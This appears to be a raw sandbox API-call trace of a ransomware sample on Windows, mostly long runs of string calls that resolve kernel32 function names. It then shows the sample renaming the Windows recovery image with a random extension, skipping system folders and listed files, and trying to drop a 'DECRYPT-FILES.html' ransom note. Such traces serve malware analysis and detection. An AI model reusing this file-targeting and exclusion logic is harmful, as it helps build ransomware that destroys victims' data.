(lpString="CREATENAMEDPIPEA") returned 16 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0075.021] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0075.021] lstrlenA (lpString="CREATEPIPE") returned 10 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0075.021] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0075.021] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0075.021] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0075.021] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0075.021] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0075.021] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0075.022] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0075.022] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0075.022] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0075.022] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0075.022] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0075.022] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0075.022] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0075.022] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0075.022] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0075.022] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0075.022] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0075.022] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0075.022] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0075.022] lstrlenA (lpString="CREATETHREAD") returned 12 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0075.022] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0075.022] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0075.023] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0075.023] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0075.023] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0075.023] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0075.023] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0075.023] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0075.023] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0075.023] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0075.023] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0075.023] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0075.023] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0075.023] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0075.023] lstrlenA (lpString="CTRLROUTINE") returned 11 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0075.023] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0075.023] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0075.023] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0075.023] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0075.024] lstrlenA (lpString="DEBUGBREAK") returned 10 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0075.024] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0075.024] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0075.024] lstrlenA (lpString="DECODEPOINTER") returned 13 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0075.024] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0075.024] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0075.024] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0075.024] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0075.024] lstrlenA (lpString="DELETEATOM") returned 10 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0075.024] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0075.024] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0075.024] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0075.060] lstrlenA (lpString="DELETEFIBER") returned 11 [0075.060] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0075.060] lstrlenA (lpString="DELETEFILEA") returned 11 [0075.060] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0075.060] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0075.060] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0075.060] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0075.060] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0075.060] lstrlenA (lpString="DELETEFILEW") returned 11 [0075.060] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0075.061] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0075.061] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0075.061] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0075.061] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0075.061] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0075.061] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0075.061] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0075.061] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0075.061] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0075.061] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0075.061] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0075.061] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0075.061] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0075.061] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0075.061] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0075.061] lstrcpyA (in: lpString1=0x321db34, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0075.062] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0075.062] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0075.062] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0075.062] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0075.062] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0075.062] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0075.062] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0075.062] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0075.062] lstrcpyA (in: lpString1=0x321db34, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0075.063] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0075.063] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0075.063] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0075.063] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0075.063] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0075.063] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0075.063] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0075.063] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0075.064] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0075.064] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0075.064] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0075.064] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0075.064] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0075.064] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0075.064] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0075.064] lstrcpyW (in: lpString1=0x2fa0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.064] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 58 [0075.064] wsprintfW (in: param_1=0x321e7ec, param_2="%s.%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.9emKr") returned 64 [0075.064] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.9emKr" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim.9emkr"), dwFlags=0x0) returned 1 [0075.299] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.300] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.300] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.300] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0075.301] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0075.301] CloseHandle (hObject=0x2f4) returned 1 [0075.301] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0075.301] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0075.301] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0075.301] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.301] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0075.301] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Recovery\\wevkgn5.dat") returned="C:\\Recovery\\wevkgn5.dat" [0075.301] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.302] CreateFileW (lpFileName="C:\\Recovery\\wevkgn5.dat" (normalized: "c:\\recovery\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.303] CloseHandle (hObject=0x0) returned 0 [0075.303] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.303] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0075.303] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0075.303] CloseHandle (hObject=0x23c) returned 1 [0075.303] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0075.303] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0075.303] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0075.303] lstrcatW (in: lpString1="System Volume Information", lpString2="\\" | out: lpString1="System Volume Information\\") returned="System Volume Information\\" [0075.303] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch=":\\Windows") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\Program Files") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\Games\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.304] StrStrW (lpFirst="C:\\System Volume Information\\", lpSrch="\\All Users") returned 0x0 [0075.304] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0075.304] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.304] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\System Volume Information\\\\wevkgn5.dat") returned 41 [0075.304] CreateFileW (lpFileName="C:\\System Volume Information\\\\wevkgn5.dat" (normalized: "c:\\system volume information\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0xffffffff [0075.305] GetLastError () returned 0x5 [0075.305] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0075.305] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.305] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\System Volume Information\\\\DECRYPT-FILES.html") returned 48 [0075.305] CreateFileW (lpFileName="C:\\System Volume Information\\\\DECRYPT-FILES.html" (normalized: "c:\\system volume information\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.305] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0075.305] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*" [0075.305] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x321fa98 | out: 